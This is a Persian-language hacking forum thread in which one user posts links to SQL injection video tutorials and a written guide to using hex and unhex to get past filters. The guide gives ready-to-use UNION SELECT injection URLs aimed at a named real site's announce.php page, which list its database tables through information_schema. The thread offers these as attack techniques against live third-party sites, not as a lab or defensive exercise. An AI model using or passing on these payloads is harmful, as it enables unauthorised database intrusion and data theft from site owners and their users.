فیلم های اموزشی sql injection ودستورات مختلف ان

[AL1R3Z4]

در این فیلم آموزشی شما با نحوه کار کردن با دستور concat_ws در سایت های joomla آشنا می شوید

http://wdl.persiangig.com/pages/download/?dl=http://al1r3z4.persiangig.com/sql%20jomlla.rar

[AL1R3Z4]

RE: فیلم های اموزشی sql injection ودستورات مختلف ان

در بعضی از سایت ها دستور "union select nummber" اجرا نشده من در این فیلم دستور دیگری را به شما اموزش خواهم داد.

http://wdl.persiangig.com/pages/download/?dl=http://al1r3z4.persiangig.com/sql%20msysaccessobjects.rar

[AL1R3Z4]

RE: فیلم های اموزشی sql injection ودستورات مختلف ان

در این فیلم شمارو با دستور having min که یک روش خاص برای سایت ها خاص است اشنا میکنم

http://wdl.persiangig.com/pages/download/?dl=http://al1r3z4.persiangig.com/having%20min.rar

[AL1R3Z4]

RE: فیلم های اموزشی sql injection ودستورات مختلف ان

در این فیلم با sql در سایت ها مانند:/2010/07/1009 اشنا خواهید شد

http://wdl.persiangig.com/pages/download/?dl=http://al1r3z4.persiangig.com/orther%20sql.rar

[AL1R3Z4]

hex & unhex

استفاده از 2 دستور hex و unhex:
این دو دستور صرفا برای یک بایپس انجام میشود به طور مثال در ورژن های 5 به بالا دستوری که مخواهیم تیبل ها رو ببینیم اجرا نمیشود و ارور به ما نشان خواهد داد
مثال:
[php]
http://www.nau.in/announce.php?id=-595+union+select+1,2,group_concat(table_name),4,5, 6,7,8,9,10+from+information_schema.tables--
[/php]



خب حالا با دستور زیر میایم تیبل هارو به صورت هگز میبینیم با این دستور:
[php]
http://www.nau.in/announce.php?id=-595+union+select+1,2,group_concat(hex(table_name)) ,4,5,6,7,8,9,10+from+information_schema.tables--
[/php]



خب میبینیم که اسم تیبل ها رو بصورت هگز شده نشان داد
حالا از دستور unhex استفاده میکنیم:

این دستور میاد و اسم تیبل هایی که به صورت هگز شده است رو به اسم اولیه اونها تبدیل میکند
[php]
www.nau.in/announce.php?id=-595+union+select+1,2,group_concat(unhex(hex(table_ name))),4,5,6,7,8,9,10+from+information_schema.tab les--
[/php]
نکته:خب میبینید که در این سایت دستور unhex عمل نکرده ما باید به طور دستی و با نرم افزار تک تک هگز هارو به unhex تبدیل کنیم